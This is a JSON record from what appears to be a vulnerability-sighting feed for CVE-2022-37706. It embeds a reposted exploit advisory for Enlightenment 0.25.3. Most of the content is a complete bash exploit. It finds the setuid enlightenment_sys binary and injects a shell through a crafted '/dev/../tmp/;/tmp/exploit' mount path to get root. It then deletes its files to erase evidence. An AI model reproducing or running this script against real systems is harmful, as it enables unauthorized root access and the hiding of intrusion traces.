{"uuid": "aba8036b-f241-4a41-85c1-b4b434b8a6fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37706", "type": "seen", "source": "https://t.me/hacking_Attack/82309", "content": "Exploit Collector\nEnlightenment 0.25.3 Privilege Escalation\n\nhttps://3.bp.blogspot.com/-SgyDIXUTMbc/WWlu_miSAcI/AAAAAAAAIKE/fKFdSswhFNIqExJ_09QJseTEI_nz_ynRACLcBGAs/s1600/h119.png \nEnlightenment version 0.25.3 suffers from a local privilege escalation vulnerability.\n\nSHA-256 | e93489fd26e004d0d8880e5321f8ef4bf09f86a9c280083061f1af59051648cf\n\nDownload\n## Title: Enlightenment Version: 0.25.3 LPE\n## Author: nu11secur1ty\n## Date: 12.26.2022\n## Vendor: https://www.enlightenment.org/\n## Software: https://www.enlightenment.org/download\n## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2022-37706\n\n## Description:\nThe Enlightenment Version: 0.25.3 is vulnerable to local privilege escalation.\nEnlightenment_sys in Enlightenment before 0.25.4 allows local users to\ngain privileges because it is setuid root,\nand the system library function mishandles pathnames that begin with a\n/dev/.. substring\nIf the attacker has access locally to some machine on which the\nmachine is installed Enlightenment\nhe can use this vulnerability to do very dangerous stuff.\n\n## STATUS: CRITICAL Vulnerability\n\n## Tested on:\n```bash\nDISTRIB_ID=Ubuntu\nDISTRIB_RELEASE=22.10\nDISTRIB_CODENAME=kinetic\nDISTRIB_DESCRIPTION=\"Ubuntu 22.10\"\nPRETTY_NAME=\"Ubuntu 22.10\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.10\"\nVERSION=\"22.10 (Kinetic Kudu)\"\nVERSION_CODENAME=kinetic\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=kinetic\nLOGO=ubuntu-logo\n```\n\n[+] Exploit:\n\n```bash\n#!/usr/bin/bash\n# Idea by MaherAzzouz\n# Development by nu11secur1ty\n\necho \"CVE-2022-37706\"\necho \"[*] Trying to find the vulnerable SUID file...\"\necho \"[*] This may take few seconds...\"\n\n# The actual problem\nfile=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)\nif [[ -z ${file} ]]\nthen\necho \"[-] Couldn't find the vulnerable SUID file...\"\necho \"[*] Enlightenment should be installed on your system.\"\nexit 1\nfi\n\necho \"[+] Vulnerable SUID binary found!\"\necho \"[+] Trying to pop a root shell!\"\nmkdir -p /tmp/net\nmkdir -p \"/dev/../tmp/;/tmp/exploit\"\n\necho \"/bin/sh\" > /tmp/exploit\nchmod a+x /tmp/exploit\necho \"[+] Welcome to the rabbit hole :)\"\n\n${file} /bin/mount -o\nnoexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u),\n\"/dev/../tmp/;/tmp/exploit\" /tmp///net\n\nread -p \"Press any key to clean the evedence...\"\necho -e \"Please wait... \"\n\nsleep 5\nrm -rf /tmp/exploit\nrm -rf /tmp/net\necho -e \"Done; Everything is clear ;)\"\n\n```\n\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2022-37706)\n## Proof and Exploit:\n[href](https://streamable.com/zflbgg)\n\n## Time spent\n`01:00:00`\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:12.572368Z"}